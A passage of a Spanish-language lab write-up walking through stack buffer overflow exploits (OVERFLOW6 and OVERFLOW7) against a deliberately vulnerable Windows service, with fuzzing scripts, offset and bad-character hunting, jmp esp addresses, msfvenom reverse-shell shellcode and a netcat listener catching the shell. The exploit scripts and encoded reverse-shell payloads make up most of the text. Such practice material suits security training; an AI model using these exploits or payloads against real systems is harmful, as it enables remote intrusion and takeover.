     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
Found a total of 9 pointers

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x62501203)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x08\x2c\xad"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xda\xcc\xd9\x74\x24\xf4\xbf\x95\x7d\x42\x1d\x5a\x29\xc9\xb1"
"\x52\x31\x7a\x17\x03\x7a\x17\x83\x7f\x81\xa0\xe8\x83\x92\xa7"
"\x13\x7b\x63\xc8\x9a\x9e\x52\xc8\xf9\xeb\xc5\xf8\x8a\xb9\xe9"
"\x73\xde\x29\x79\xf1\xf7\x5e\xca\xbc\x21\x51\xcb\xed\x12\xf0"
"\x4f\xec\x46\xd2\x6e\x3f\x9b\x13\xb6\x22\x56\x41\x6f\x28\xc5"
"\x75\x04\x64\xd6\xfe\x56\x68\x5e\xe3\x2f\x8b\x4f\xb2\x24\xd2"
"\x4f\x35\xe8\x6e\xc6\x2d\xed\x4b\x90\xc6\xc5\x20\x23\x0e\x14"
"\xc8\x88\x6f\x98\x3b\xd0\xa8\x1f\xa4\xa7\xc0\x63\x59\xb0\x17"
"\x19\x85\x35\x83\xb9\x4e\xed\x6f\x3b\x82\x68\xe4\x37\x6f\xfe"
"\xa2\x5b\x6e\xd3\xd9\x60\xfb\xd2\x0d\xe1\xbf\xf0\x89\xa9\x64"
"\x98\x88\x17\xca\xa5\xca\xf7\xb3\x03\x81\x1a\xa7\x39\xc8\x72"
"\x04\x70\xf2\x82\x02\x03\x81\xb0\x8d\xbf\x0d\xf9\x46\x66\xca"
"\xfe\x7c\xde\x44\x01\x7f\x1f\x4d\xc6\x2b\x4f\xe5\xef\x53\x04"
"\xf5\x10\x86\x8b\xa5\xbe\x79\x6c\x15\x7f\x2a\x04\x7f\x70\x15"
"\x34\x80\x5a\x3e\xdf\x7b\x0d\x81\x88\x95\xcc\x69\xcb\x99\xcb"
"\x53\x42\x7f\xb9\xb3\x02\x28\x56\x2d\x0f\xa2\xc7\xb2\x85\xcf"
"\xc8\x39\x2a\x30\x86\xc9\x47\x22\x7f\x3a\x12\x18\xd6\x45\x88"
"\x34\xb4\xd4\x57\xc4\xb3\xc4\xcf\x93\x94\x3b\x06\x71\x09\x65"
"\xb0\x67\xd0\xf3\xfb\x23\x0f\xc0\x02\xaa\xc2\x7c\x21\xbc\x1a"
"\x7c\x6d\xe8\xf2\x2b\x3b\x46\xb5\x85\x8d\x30\x6f\x79\x44\xd4"
"\xf6\xb1\x57\xa2\xf6\x9f\x21\x4a\x46\x76\x74\x75\x67\x1e\x70"
"\x0e\x95\xbe\x7f\xc5\x1d\xde\x9d\xcf\x6b\x77\x38\x9a\xd1\x1a"
"\xbb\x71\x15\x23\x38\x73\xe6\xd0\x20\xf6\xe3\x9d\xe6\xeb\x99"
"\x8e\x82\x0b\x0d\xae\x86";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1534).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
shellcode = ("\xda\xcc\xd9\x74\x24\xf4\xbf\x95\x7d\x42\x1d\x5a\x29\xc9\xb1"
"\x52\x31\x7a\x17\x03\x7a\x17\x83\x7f\x81\xa0\xe8\x83\x92\xa7"
"\x13\x7b\x63\xc8\x9a\x9e\x52\xc8\xf9\xeb\xc5\xf8\x8a\xb9\xe9"
"\x73\xde\x29\x79\xf1\xf7\x5e\xca\xbc\x21\x51\xcb\xed\x12\xf0"
"\x4f\xec\x46\xd2\x6e\x3f\x9b\x13\xb6\x22\x56\x41\x6f\x28\xc5"
"\x75\x04\x64\xd6\xfe\x56\x68\x5e\xe3\x2f\x8b\x4f\xb2\x24\xd2"
"\x4f\x35\xe8\x6e\xc6\x2d\xed\x4b\x90\xc6\xc5\x20\x23\x0e\x14"
"\xc8\x88\x6f\x98\x3b\xd0\xa8\x1f\xa4\xa7\xc0\x63\x59\xb0\x17"
"\x19\x85\x35\x83\xb9\x4e\xed\x6f\x3b\x82\x68\xe4\x37\x6f\xfe"
"\xa2\x5b\x6e\xd3\xd9\x60\xfb\xd2\x0d\xe1\xbf\xf0\x89\xa9\x64"
"\x98\x88\x17\xca\xa5\xca\xf7\xb3\x03\x81\x1a\xa7\x39\xc8\x72"
"\x04\x70\xf2\x82\x02\x03\x81\xb0\x8d\xbf\x0d\xf9\x46\x66\xca"
"\xfe\x7c\xde\x44\x01\x7f\x1f\x4d\xc6\x2b\x4f\xe5\xef\x53\x04"
"\xf5\x10\x86\x8b\xa5\xbe\x79\x6c\x15\x7f\x2a\x04\x7f\x70\x15"
"\x34\x80\x5a\x3e\xdf\x7b\x0d\x81\x88\x95\xcc\x69\xcb\x99\xcb"
"\x53\x42\x7f\xb9\xb3\x02\x28\x56\x2d\x0f\xa2\xc7\xb2\x85\xcf"
"\xc8\x39\x2a\x30\x86\xc9\x47\x22\x7f\x3a\x12\x18\xd6\x45\x88"
"\x34\xb4\xd4\x57\xc4\xb3\xc4\xcf\x93\x94\x3b\x06\x71\x09\x65"
"\xb0\x67\xd0\xf3\xfb\x23\x0f\xc0\x02\xaa\xc2\x7c\x21\xbc\x1a"
"\x7c\x6d\xe8\xf2\x2b\x3b\x46\xb5\x85\x8d\x30\x6f\x79\x44\xd4"
"\xf6\xb1\x57\xa2\xf6\x9f\x21\x4a\x46\x76\x74\x75\x67\x1e\x70"
"\x0e\x95\xbe\x7f\xc5\x1d\xde\x9d\xcf\x6b\x77\x38\x9a\xd1\x1a"
"\xbb\x71\x15\x23\x38\x73\xe6\xd0\x20\xf6\xe3\x9d\xe6\xeb\x99"
"\x8e\x82\x0b\x0d\xae\x86")

eip_ret = pack("<L",0x62501203)
nops  = "\x90" * 16
padding = "C"
buff = "A" * 1034 + eip_ret + nops + badchars + padding * (1534 - 1034 - 4 - 255) # 255 badchars
buff = "A" * 1274 + eip_ret + nops + shellcode + padding * (1750 - 1274 - 4 - 16 - 353)
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW6 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  BuffTHM nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49182
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 7

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW7.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW7 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 1400 bytes.

1
2
3
4
➜  OVERFLOW_7 ./overflow7.py 192.168.22.128
[>] Progreso: Enviando 1400 bytes.
[-] Parece que el programa se detuvo con 1400 bytes.
➜  OVERFLOW_7

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 1500 bytes utilizando pattern_create.rb.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 1500                      
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9

Modificamos el script para realizar el envio de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW7 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 1306 bytes.

1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1500
[+] Command used:
!mona findmsp -distance 1500
[..]
[+] Examining registers
    EIP contains normal pattern : 0x72423572 (offset 1306)
    ESP (0x0090fa30) points at offset 1310 in normal pattern (length 190)
    EBP contains normal pattern : 0x42347242 (offset 1302)
    EBX contains normal pattern : 0x33724232 (offset 1298)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1500).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 1306 + eip_ret + nops + padding * (1500-1306-4) # junk 1306, eip 4, padding 190 = 1500
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW7 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 250 bytes adicionales, en total tendríamos 440 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1306 + eip_ret + nops + padding * (1500 - 1306 - 4 + 250) # 440 padding
# 1306 junk, 4 eip_ret, padding 440 (shellcode + nops)
# total buffer = 1750
try:
    log.info("Realizando conexion.")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect = s.connect((address, port))
    data = s.recv(1024)
    s.send("OVERFLOW7 %s\r\n" % buff)
    s.close()
    log.info("Conexion Finalizada.")
except Exception as e:
    #print(e)
    log.failure("Parece que el programa se detuvo." )
    sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1750 bytes de los cuales 440 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1306 + eip_ret + nops + badchars + padding * (1750 - 1306 - 4 - 255) # 255 badchars
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW7 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x8c\xae\xbe\xfb".

1
\x00\x8c\xae\xbe\xfb

JMP ESP

Buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x8c\xae\xbe\xfb"
!mona jmp -r esp -cpb "\x00\x8c\xae\xbe\xfb"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x8c\xae\xbe\xfb"
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
Found a total of 9 pointers

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x625011eb)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x8c\xae\xbe\xfb"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of c file: 1488 bytes
unsigned char buf[] = 
"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xc3\x2d\x3d\x1c\x83\xee\xfc\xe2\xf4\x3f\xc5\xbf\x1c\xc3\x2d"
"\x5d\x95\x26\x1c\xfd\x78\x48\x7d\x0d\x97\x91\x21\xb6\x4e\xd7"
"\xa6\x4f\x34\xcc\x9a\x77\x3a\xf2\xd2\x91\x20\xa2\x51\x3f\x30"
"\xe3\xec\xf2\x11\xc2\xea\xdf\xee\x91\x7a\xb6\x4e\xd3\xa6\x77"
"\x20\x48\x61\x2c\x64\x20\x65\x3c\xcd\x92\xa6\x64\x3c\xc2\xfe"
"\xb6\x55\xdb\xce\x07\x55\x48\x19\xb6\x1d\x15\x1c\xc2\xb0\x02"
"\xe2\x30\x1d\x04\x15\xdd\x69\x35\x2e\x40\xe4\xf8\x50\x19\x69"
"\x27\x75\xb6\x44\xe7\x2c\xee\x7a\x48\x21\x76\x97\x9b\x31\x3c"
"\xcf\x48\x29\xb6\x1d\x13\xa4\x79\x38\xe7\x76\x66\x7d\x9a\x77"
"\x6c\xe3\x23\x72\x62\x46\x48\x3f\xd6\x91\x9e\x45\x0e\x2e\xc3"
"\x2d\x55\x6b\xb0\x1f\x62\x48\xab\x61\x4a\x3a\xc4\xd2\xe8\xa4"
"\x53\x2c\x3d\x1c\xea\xe9\x69\x4c\xab\x04\xbd\x77\xc3\xd2\xe8"
"\x4c\x93\x7d\x6d\x5c\x93\x6d\x6d\x74\x29\x22\xe2\xfc\x3c\xf8"
"\xaa\x76\xc6\x45\xfd\xb4\xd5\x2c\x55\x1e\xc3\x28\x07\x95\x25"
"\x47\x2d\x4a\x94\x45\xa4\xb9\xb7\x4c\xc2\xc9\x46\xed\x49\x10"
"\x3c\x63\x35\x69\x2f\x45\xcd\xa9\x61\x7b\xc2\xc9\xab\x4e\x50"
"\x78\xc3\xa4\xde\x4b\x94\x7a\x0c\xea\xa9\x3f\x64\x4a\x21\xd0"
"\x5b\xdb\x87\x09\x01\x1d\xc2\xa0\x79\x38\xd3\xeb\x3d\x58\x97"
"\x7d\x6b\x4a\x95\x6b\x6b\x52\x95\x7b\x6e\x4a\xab\x54\xf1\x23"
"\x45\xd2\xe8\x95\x23\x63\x6b\x5a\x3c\x1d\x55\x14\x44\x30\x5d"
"\xe3\x16\x96\xdd\x01\xe9\x27\x55\xba\x56\x90\xa0\xe3\x16\x11"
"\x3b\x60\xc9\xad\xc6\xfc\xb6\x28\x86\x5b\xd0\x5f\x52\x76\xc3"
"\x7e\xc2\xc9";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1750).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
